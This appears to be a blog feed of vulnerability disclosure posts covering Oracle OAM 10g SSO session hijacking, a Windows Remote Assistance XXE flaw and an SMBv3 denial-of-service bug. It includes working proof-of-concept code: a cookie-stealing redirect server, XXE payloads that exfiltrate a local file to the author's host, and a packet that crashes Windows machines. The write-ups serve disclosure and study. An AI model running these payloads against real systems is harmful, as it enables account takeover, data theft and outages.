<p>So following our example above and the URL scheme (<a href="https://en.wikipedia.org/wiki/Uniform_Resource_Identifier">https://en.wikipedia.org/wiki/Uniform_ Resource _Identifier</a>), it makes it possible to modify the domain with the accepted values mentioned previously and bypass the 'SSODomains' restriction which is set to only allow authentication against 'www.somedomain.com'.<br>
Our new &quot;RH&quot; parameter will look something like this:<br>
<font color="lime">https://</font><font color="orange">www.somedomain.com:test%20</font>@<font color="red">maliciousdomain.com</font></p>
<ul>
<li><font color="lime">This is the protocol that is used (HTTP over SSL)</font></li>
<li><font color="orange">These values are considered to be authentication values (username, password respectively)</font></li>
<li><font color="red">This value is considered the domain where the browser has to authenticate.</font></li>
</ul>
<p>OAM fails to validate the &quot;RH&quot; parameter,it sees the &quot;www.somedomain.com&quot; domain and no forbidden characters therefore simply accepts this input as the accepted value for the &quot;RH&quot; parameter.</p>
<p>Hence resulting in a redirect to &quot;maliciousdomain.com&quot; domain with the ObSSOCookie in the URL.<br>
Because this HTTP GET request to the malicious domain will contain the ObSSOCookie, the attacker will have a fully functional session identifier to access the legitimate web application and resources.  (more details can be found in the blog post in the link above)</p>
<h2 id="mostbrowsersarebadandtheyshouldfeelbad">Most browsers are bad and they should feel bad!</h2>
<p><font color="red">All browsers are affected</font> <strong>except</strong> for <strong>Internet Explorer and Edge</strong> (I know right?), which blocks the request form being performed to prevent URL spoofing (<a href="https://support.microsoft.com/en-us/help/834489/internet-explorer-does-not-support-user-names-and-passwords-in-web-sit">https://support.microsoft.com/en-us/help/834489/internet-explorer-does-not-support-user-names-and-passwords-in-web-sit</a>)</p>
<ul>
<li>Chrome 61.03163 <font color="red">(Working)</font></li>
<li>Firefox 56.0.1 <font color="red">(Working)</font></li>
<li>Microsoft Edge 40.15063.674.0 <font color="lime">(Not working)</font></li>
<li>Internet Explorer 11 <font color="lime">(Not working)</font></li>
<li>Safari 11 <font color="red">(Working)</font></li>
<li>Opera 48 <font color="red">(Working)</font></li>
</ul>
<h2 id="proofofconceptwebserverscript">Proof-of-Concept Webserver Script</h2>
<pre><code>#!/usr/bin/env python
&quot;&quot;&quot;
Oracle OAM 10g Session Hijack

usage: Oracle_PoC.py -d redirect_domain

Default browser will be used to open browser tabs

PoC tested on Windows 10 x64 using Internet Explorer 11

positional arguments:

&quot;&quot;&quot;
import SimpleHTTPServer
import SocketServer
import sys
import argparse
import webbrowser
import time

def redirect_handler_factory(domain):
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
			if self.path.endswith(&quot;httponly&quot;) or self.path.endswith(&quot;%252F&quot;) or  self.path.endswith(&quot;do&quot;) or self.path.endswith(&quot;adfAuthentication&quot;):
				webbrowser.open_new(&quot;https://&quot; + domain) #Load website in order to retrieve any other cookies needed to login properly
				time.sleep( 5 )
				webbrowser.open(&quot;https://&quot;+ domain +&quot;/&quot; + self.path, new=0, autoraise=True) #Use received cookie to login on to the website
				time.sleep( 5 )
				self.send_response(301)
				self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;)
				self.end_headers()
				return
			else:
                            print self.path
    return RedirectHandler
           

def main():

    parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker')

    parser.add_argument('--port', '-p', action=&quot;store&quot;, type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action=&quot;store&quot;, default=&quot;0.0.0.0&quot;, help='host interface to listen on')
    parser.add_argument('--domain','-d', action=&quot;store&quot;, default=&quot;localhost&quot;, help='domain to redirect the victim to')

    myargs = parser.parse_args()
    
    port = myargs.port
    host = myargs.ip
    domain = myargs.domain

    redirectHandler = redirect_handler_factory(domain)
    
    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print(&quot;serving at port %s&quot; % port)
    handler.serve_forever()

if __name__ == &quot;__main__&quot;:
    main()
</code></pre>
<p>Feel free to modify the code to you needs, I didn't put the effort to make it work under all circumstances.</p>
<h2 id="proofofconceptvideo">Proof-of-Concept Video</h2>
<p>This is an <strong>old version</strong> (too lazy to record a new one) of the PoC which uses internet explorer  to exploit it but the end-result of the vulnerability is the same, making it relevant.</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/q6ijneG0twc" frameborder="0" allowfullscreen></iframe>
This video will help clear up any confusion on how the attack works.
If you still have questions, send me a message on twitter.
<h1 id="cvssrating">CVSS rating</h1>
<p>This vulnerability has a rating of <font color="red"><strong>9.3 (CRITICAL)</strong></font><br>
<img src="https://krbtgt.pw/content/images/2017/07/cvss-1.PNG" alt="The perfect SSO account takeover with Oracle OAM (CVE-2018-2739)"><br>
<a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N">https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Windows Remote Assistance XXE vulnerability]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h3 id="intro">Intro</h3>
<blockquote>
<p>Windows Remote Assistance allows someone you trust take over your PC and fix a problem from anywhere around the world.<br>
It relies on the Remote Desktop Protocol to establish a secure connection with the person in need.</p>
</blockquote>
<p><em>-MSDN</em></p>
<h3 id="background">Background</h3>
<p>I stumbled upon this functionality during my research and was</p>]]></description><link>https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad8f</guid><category><![CDATA[CVE-2018-0878]]></category><category><![CDATA[XXE]]></category><category><![CDATA[MSRA]]></category><category><![CDATA[MSXML3]]></category><category><![CDATA[XML]]></category><category><![CDATA[Windows Remote Assistance]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Tue, 20 Mar 2018 08:17:00 GMT</pubDate><media:content url="https://krbtgt.pw/content/images/2018/03/website-647013_1920.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h3 id="intro">Intro</h3>
<blockquote>
<img src="https://krbtgt.pw/content/images/2018/03/website-647013_1920.jpg" alt="Windows Remote Assistance XXE vulnerability"><p>Windows Remote Assistance allows someone you trust take over your PC and fix a problem from anywhere around the world.<br>
It relies on the Remote Desktop Protocol to establish a secure connection with the person in need.</p>
</blockquote>
<p><em>-MSDN</em></p>
<h3 id="background">Background</h3>
<p>I stumbled upon this functionality during my research and was curious whether this functionality would allow me to abuse it in any sort of way. So let's fire up MSRA (Microsoft Remote Assistance).</p>
<p><img src="https://krbtgt.pw/content/images/2018/03/1.PNG" alt="Windows Remote Assistance XXE vulnerability"></p>
<p>It gives you 2 options:</p>
<ul>
<li><strong>Invite someone</strong> to help you</li>
<li><strong>Respond to</strong> someone who needs help</li>
</ul>
<p><img src="https://krbtgt.pw/content/images/2018/03/2.PNG" alt="Windows Remote Assistance XXE vulnerability"><br>
If you selected the first option you will get a follow-up screen with another set of 2 options:</p>
<ul>
<li><strong>Save</strong> invitation <strong>to</strong> an <em>.msrcincident</em> <strong>file</strong></li>
<li><strong>Send</strong> invitation via <strong>email</strong> with the <em>.mrcincident</em> <strong>file as</strong> an <strong>attachment</strong></li>
</ul>
<p>We'll choose to save the file locally and analyze it's contents, so evidently we choose the first option.<br>
<img src="https://krbtgt.pw/content/images/2018/03/3-1.PNG" alt="Windows Remote Assistance XXE vulnerability"><br>
Opening the <em><strong>Invitation.msrcincident</strong></em> file reveals XML data with a lot of parameters and values.<br>
<img src="https://krbtgt.pw/content/images/2018/03/5.PNG" alt="Windows Remote Assistance XXE vulnerability"></p>
<p>The password encryption flow looks as follows.<br>
<img src="https://krbtgt.pw/content/images/2018/03/4.PNG" alt="Windows Remote Assistance XXE vulnerability"></p>
<p>However whenever you see XML data being fed to a program you have to think about XML External Entity (XXE) vulnerabilities, in the past these vulnerabilities lead from <strong>information disclosure to RCE</strong> (see <a href="https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce">this</a>, <a href="https://gist.github.com/joernchen/3623896">that</a> and many more...)</p>
<p>So first I was curious which parser MSRA used to handle the invitation file. ProcessMonitor revealed the following:<br>
<img src="https://krbtgt.pw/content/images/2018/03/6.PNG" alt="Windows Remote Assistance XXE vulnerability"><br>
It's using MSXML3 to parse the XML data so immediately I started looking for potential existing vulnerabilities related to MSXML3 in the past.<br>
MSXML3 has had it's fair share of vulnerabilities (<a href="https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-1813/version_id-6014/opec-1/Microsoft-Xml-Core-Services-3.0.html">here</a>), however no details were ever released about the vulnerabilities.<br>
So let's see if the <strong>MSXML3</strong> parser will allow me to use SYSTEM entities.</p>
<h3 id="vulnerability">Vulnerability</h3>
<p>The first problem is how will I confirm the existence of an XXE vulnerability if <strong>no output</strong> is shown of the requested resource.<br>
<strong>Basic XXE payload</strong> looks something like this:</p>
<pre><code> &lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&gt;
 &lt;!DOCTYPE foo [  
   &lt;!ELEMENT foo ANY &gt;
   &lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot; &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt;
</code></pre>
<p>Whereas the result of this XML (after parsing) should be that inside the <code>&lt;foo&gt;</code> tags the content of the file <em><strong>passwd</strong></em> should be displayed.</p>
<p>MSRA does not show you the output of the processed XML, making it hard to validate <strong>BUT</strong> to weaponize this attack I need to be able to exfiltrate the requested data from the victim to my machine.<br>
Therefore I need to use a technique called <em><strong>Out-of-Band Data Retrieval</strong></em> discovered by the researchers <a href="https://www.youtube.com/watch?v=eBm0YhBrT_c#t=11m51">Alexey Osipov and Timur Yunusov</a> that allow the construction of a URL with data coming from other entities.</p>
<p>That looks like this:<br>
<img src="https://krbtgt.pw/content/images/2018/03/7.PNG" alt="Windows Remote Assistance XXE vulnerability"><br>
Using the same technique I modified the <em><strong>Invitation.msrcincident</strong></em> file with the following XML:</p>
<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;
&lt;!DOCTYPE zsl [
&lt;!ENTITY % remote SYSTEM &quot;http://krbtgt.pw:8080/xxe.xml&quot;&gt;
%remote;%root;%oob;]&gt;
</code></pre>
<p>On my server I create a file <em><strong>xxe.xml</strong></em> with the following XML:</p>
<pre><code>&lt;!ENTITY % payload SYSTEM &quot;file:///C:/windows/win.ini&quot;&gt;
&lt;!ENTITY % root &quot;&lt;!ENTITY &amp;#37; oob SYSTEM 'http://krbtgt.pw:8080/?%payload;'&gt; &quot;&gt;
</code></pre>
<p>Opening the modified <em><strong>Invitation.msrcincident</strong></em> file with our XML XXE payload resulted in the following:<br>
<img src="https://krbtgt.pw/content/images/2018/03/9-1.PNG" alt="Windows Remote Assistance XXE vulnerability"><br>
The result is the <strong>contents</strong> of <em><strong>C:\Windows\win.ini</strong></em> are sent as part of a GET request to my server. If we URL decode the GET values sent to the server we get the following:</p>
<pre><code> for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1CMCDLLNAME32=mapi32.dllCMC=1MAPIX=1MAPIXVER=1.0.0.1OLEMessaging=1
</code></pre>
<p>I just confirmed an <strong>XXE</strong> vulnerability affecting <strong>MSRA</strong> using the <strong>MSXML3</strong> parser.</p>
<h3 id="conclusion">Conclusion</h3>
<p>This XXE vulnerability can be genuinely used in mass scale phishing attacks targeting individuals believing they are truly helping another individual with an IT problem.<br>
Totally unaware that the <strong>.msrcincident</strong> invitation file could potentially result in <strong>loss of sensitive information</strong>.<br>
An attacker could <strong>target specific log/config files</strong> containing username/passwords.<br>
GDSSecurity also made a tool to automate XXE exfiltration of multiple files by brute-forcing certain directory locations. The tool can be found <a href="https://github.com/GDSSecurity/xxe-recursive-download">here</a>.</p>
<h3 id="timeline">Timeline</h3>
<ul>
<li><strong>February ‎2017:</strong> Vulnerability discovered</li>
<li><strong>October 2017:</strong> Case opened with ZDI</li>
<li><strong>November 2017:</strong> Vendor notified of the vulnerability</li>
<li><strong>March 2018:</strong> Patch released &amp; vulnerability labeled as <code>CVE-2018-0878</code></li>
</ul>
<p>Patch details can be found <a href="https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0878">here</a>.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h3 id="tableofcontents">Table of contents</h3>
<ul>
<li><a href="https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/#intro">Intro</a></li>
<li><a href="https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/#rootcauseanalysis">Root cause analysis</a></li>
<li><a href="https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/#proofofconcept">Proof-of-Concept</a></li>
</ul>
<h2 id="intro">Intro</h2>
<p>Late last year while setting up a fuzzer to target the SMB protocol, I discovered a vulnerability so simple yet so effective in disrupting large enterprises.<br>
<strong>TL;DR</strong>: A Denial-of-Service bug allowing to BSOD Windows 8.1 and Windows Server 2012</p>]]></description><link>https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad8e</guid><category><![CDATA[Windows]]></category><category><![CDATA[CVE-2018-0833]]></category><category><![CDATA[Denial-of-Service]]></category><category><![CDATA[Microsoft]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Sat, 24 Feb 2018 19:58:05 GMT</pubDate><media:content url="https://krbtgt.pw/content/images/2018/02/35445392625_ffb2d6783e_k.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h3 id="tableofcontents">Table of contents</h3>
<ul>
<li><a href="https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/#intro">Intro</a></li>
<li><a href="https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/#rootcauseanalysis">Root cause analysis</a></li>
<li><a href="https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/#proofofconcept">Proof-of-Concept</a></li>
</ul>
<h2 id="intro">Intro</h2>
<img src="https://krbtgt.pw/content/images/2018/02/35445392625_ffb2d6783e_k.jpg" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><p>Late last year while setting up a fuzzer to target the SMB protocol, I discovered a vulnerability so simple yet so effective in disrupting large enterprises.<br>
<strong>TL;DR</strong>: A Denial-of-Service bug allowing to BSOD Windows 8.1 and Windows Server 2012 R2 machines with a one single packet.<br>
Big thanks to <a href="https://twitter.com/EricSchayes">Eric Schayes</a> for joining me during the Root Cause Analysis.</p>
<h3 id="targets">Targets</h3>
<p>The following vulnerability has been tested and validated on:</p>
<ul>
<li>
<p>Windows 8.1 (x86)</p>
</li>
<li>
<p>Windows Server 2012 R2 (x64)</p>
</li>
</ul>
<h3 id="background">Background</h3>
<p>To understand the root cause of this vulnerability, it is important to understand how SMB packets are built.<br>
Let’ have a look on the <strong>SMBv1 header</strong>:<br>
<img src="https://krbtgt.pw/content/images/2018/02/1.png" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
Source: <a href="https://msdn.microsoft.com/en-us/library/ee441774.aspx">https://msdn.microsoft.com/en-us/library/ee441774.aspx</a><br>
As we can see, the protocol field begins with <strong>FF</strong> byte.<br>
Now let’s check what’s happening with <strong>SMBv2</strong><br>
<img src="https://krbtgt.pw/content/images/2018/02/2.png" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
Source: <a href="https://msdn.microsoft.com/en-us/library/cc246528.aspx">https://msdn.microsoft.com/en-us/library/cc246528.aspx</a><br>
The protocol field begin now with the <strong>FE</strong> byte.<br>
What about <strong>SMBv3</strong>? The v3 of SMB protocol is encrypted and will use a specific header called <em>SMB2_Transform</em> for encrypted communications:<br>
<img src="https://krbtgt.pw/content/images/2018/02/3.png" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
<strong>SMBv3</strong> is always encrypted, and as it can be learned in official documentation, the negotiation of SMBv3 session begin with a SMBv2 session.</p>
<p>Here are the packets involved in the setup of a SMBv3 session:<br>
<img src="https://krbtgt.pw/content/images/2018/02/4.png" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
In the packets from 1 to 8, the SMB header looks like that:<br>
<img src="https://krbtgt.pw/content/images/2018/02/5.png" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
As we can see, the byte sequence used is still <strong>0xFE</strong> which is the SMBv2 code as indicate in Microsoft documentation.</p>
<p>From frame 9, encryption is on and the byte sequence used in the header will be <strong>0xFD</strong>:<br>
<img src="https://krbtgt.pw/content/images/2018/02/6.png" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
As you can see in the PoC, the crash happens when sending immediately a SMB packet with the 0xFD header without negotiating the session for the first time.<br>
Let’s have a deeper look at crash dump to understand the root cause of this crash.</p>
<h3 id="rootcauseanalysis">Root Cause Analysis</h3>
<p><em>REMARK</em>: the root cause analysis is only performed on <strong>Windows 8.1 (x86)</strong><br>
Sending a specially crafted packet causes a kernel panic, because it wants to read a value from memory which is protected (null page protection) on address <em>0x00000030</em>.<br>
<img src="https://krbtgt.pw/content/images/2018/02/11.png" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
<img src="https://krbtgt.pw/content/images/2018/02/CrashWindbg-1.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
The module where this crash occurs is “<strong>mrxsmb.sys</strong>” which is a Microsoft Server Message Block (SMB) redirector. The exact place of the crash is <em>mrxsmb!SmbWksReceiveEvent+8539</em> where a move occurs from <em>[ecx+30h]</em> to register EAX, the value of <strong>ECX</strong> is pointing to <em>0x00000000</em>.<br>
When we follow the flow in IDA it looks as follows:<br>
The packet is handled and check if encryption is enabled or not which relates to SMB 3.0 that uses encrypted SMB packets.<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA1.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
In WinDBG it looks like this:<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA1w.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
Essentially it will check if encryption is enabled, if this is the case it will follow the “false” path and move to the next function:<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA2.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
It will perform some moves and the second last instruction a compare happens which will check if register ECX with hex value 0x34. If ECX is below or equal to 0x34 which in our case is false.<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA2w.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
I will follow the “false” path:<br>
Another compare instruction occurs and in this case if register EDX (attacker controllable value) is higher than the value of [ESP+4C] it will follow the “true” path<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA3.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA3w.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
The next following instruction simply put values in the various registers:<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA4.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA5.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
The next instruction again compares the value of ECX with 0x34 and it will follow the “true” path if ECX is higher than 0x34.<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA6.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA6w.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
In our case it will follow the true path since the value of ECX is higher than 0x34.<br>
The following instruction block performs a test between the value of <em>_Microsoft_Windows_SMBClientEnableBits</em> to <em>0x80000000</em>.<br>
In WinDBG we can see that the test will result in a “false” and subsequently will follow the “false” path.<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA7-1.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA7w.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
Leading us to a test instruction which will be always “true”, moving to function “loc_A0F20E05”.<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDAFinal.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
After putting zeros on the stack it goes to function “<strong>loc_A0F20E15</strong>” in this case:<br>
At instruction where it moved ECX+30h to EAX the crash occurs because ECX is <em>0x00000000</em> and it will try to read the value from <em>0x00000030</em> which is protected memory space.<br>
<img src="https://krbtgt.pw/content/images/2018/02/PathIDA9_CRASH.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
<img src="https://krbtgt.pw/content/images/2018/02/RegandMematCrash.PNG" alt="SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)"><br>
This causes a kernel panic and will force the machine to reboot.<br>
As you might have noticed there are number of times where our attacker controlled values were stored in various registers, but we did not find a way to use those registers to gain full control over the flow.</p>
<h3 id="proofofconcept">Proof-of-Concept</h3>
<pre><code>import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print &quot;From:&quot;, self.client_address
                        print &quot;[*]Sending Payload...&quot;
                        self.request.send(unhexlify(payload))
                except Exception:
                        print &quot;BSoD Triggered on&quot;, self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()
</code></pre>
<h3 id="pocdemo">PoC demo</h3>
<iframe width="560" height="315" src="https://www.youtube.com/embed/2UDZ1JU0rUU" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe><!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Oracle OAM 10g Session Hijacking]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h1 id="tableofcontents">Table of contents</h1>
<ul>
<li><a href="https://krbtgt.pw/oracle-oam-10g-transparent-session-hijacking/#intro">Intro</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#oracleoamauthenticationflow">Oracle OAM Authentication flow</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#hijackingthesession">Hijacking the session</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#globalexposure">Global Exposure</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#proofofconceptwebserverscript">Proof-of-Concept Webserver Script</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#proofofconceptvideo">Proof-of-Concept Video</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#mitigation">Mitigation</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#cvssrating">CVSS rating</a></li>
</ul>
<h1 id="intro">Intro</h1>
<h6 id="tldr">TL;DR</h6>
<blockquote>
<p>Badly configured Oracle OAM 10g allows remote attackers to hijack sessions from unsuspecting users. This basically takes phishing to a whole new level. (A lot of</p></blockquote>]]></description><link>https://krbtgt.pw/oracle-oam-10g-session-hijacking/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad8d</guid><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Mon, 10 Jul 2017 19:00:41 GMT</pubDate><media:content url="https://krbtgt.pw/content/images/2017/07/5762345557_159d47408e_b.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h1 id="tableofcontents">Table of contents</h1>
<ul>
<li><a href="https://krbtgt.pw/oracle-oam-10g-transparent-session-hijacking/#intro">Intro</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#oracleoamauthenticationflow">Oracle OAM Authentication flow</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#hijackingthesession">Hijacking the session</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#globalexposure">Global Exposure</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#proofofconceptwebserverscript">Proof-of-Concept Webserver Script</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#proofofconceptvideo">Proof-of-Concept Video</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#mitigation">Mitigation</a></li>
<li><a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/#cvssrating">CVSS rating</a></li>
</ul>
<h1 id="intro">Intro</h1>
<h6 id="tldr">TL;DR</h6>
<blockquote>
<img src="https://krbtgt.pw/content/images/2017/07/5762345557_159d47408e_b.jpg" alt="Oracle OAM 10g Session Hijacking"><p>Badly configured Oracle OAM 10g allows remote attackers to hijack sessions from unsuspecting users. This basically takes phishing to a whole new level. (A lot of high profile organisations didn't configure this properly about 99% of them)</p>
</blockquote>
<p>Late last year <a href="https://twitter.com/tgilis">Tom</a> and <a href="https://twitter.com/NabeelAhmedBE">I</a> were engaged in a security assessment which proved to be quite a challenge. We stumbled upon a very complex Single Sign-On (SSO) authentication scheme which consisted of 18 different request in order to access the resource that was requested.</p>
<p>After mapping and creating a flow chart of all the cookies and parameters that were used in these series of requests. By singling out the most important set of cookies we discovered that the “ObSSOCookie” was quite powerful and allowed authentication on various sets of web applications available.</p>
<p>After doing some quick research on the internet this cookie is related to the SSO implementation of Oracle Access Manager. Now that we know which cookie is the most critical one we need to find a way to get our hands on this super Cookie :).</p>
<h1 id="oracleoamauthenticationflow">Oracle OAM Authentication flow</h1>
<p>Before proceeding we need to understand how a user authenticates on this Oracle SSO implementation.<br>
<img src="https://krbtgt.pw/content/images/2017/07/SSO_Flow_1.jpg" alt="Oracle OAM 10g Session Hijacking"><br>
As you can see in the image above the user requests a protected resource let’s say <a href="https://somewebsite.com/protected/">https://somewebsite.com/protected/</a>, the OAM server simply validates whether the resource is indeed protected or not. (Steps 1 and 2)<br>
The OAM server evaluates the request and responds back with a decision saying that the resource requested is indeed protected. The Oracle OAM server responds back to the user and redirects the user to a login page to collect credentials from the user.</p>
<p>The raw HTTP requests/responses look something like this:</p>
<blockquote>
<p>GET /protected/ HTTP/1.1<br>
Accept: <em>/</em><br>
Accept-Language: en-US<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)<br>
Accept-Encoding: gzip, deflate<br>
Host: somewebsite.com<br>
Connection: Keep-Alive</p>
</blockquote>
<hr>
<blockquote>
<p>HTTP/1.1 302 Redirect<br>
Content-Length: 0<br>
Location: http://<span>someotherdomain.com/oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F<br>
Server: Microsoft-IIS/7.5<br>
Set-Cookie: ObSSOCookie=loggedoutcontinue; httponly; path=/<br>
X-Powered-By: ASP.NET<br>
Date: Fri, 09 Mar 2012 16:14:16 GMT</span></p>
</blockquote>
<hr>
<blockquote>
<p>GET /oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F HTTP/1.1<br>
Accept: <em>/</em><br>
Accept-Language: en-US<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)<br>
Accept-Encoding: gzip, deflate<br>
Host: someotherdomain.com<br>
Connection: Keep-Alive</p>
</blockquote>
<hr>
<blockquote>
<p>HTTP/1.1 200 OK<br>
Cache-Control: no-cache, no-store<br>
Date: Fri, 09 Mar 2012 16:16:55 GMT<br>
Pragma: no-cache<br>
Content-Length: 3326<br>
Content-Type: text/html; charset=UTF-8<br>
Expires: 0<br>
Set-Cookie: OAM_REQ=VERSION_4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...<snipped><br>
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab5<br>
X-Powered-By: Servlet/2.5 JSP/2.1</snipped></p>
</blockquote>
<p>The OAM Server sets the <strong>OAMREQ</strong> cookie in the user's browser, with the information that the requested resource is located at <strong>https://<snip>somewebsite.com</snip></strong>. That way on the next request the OAM server knows for which resource the user is authenticating.</p>
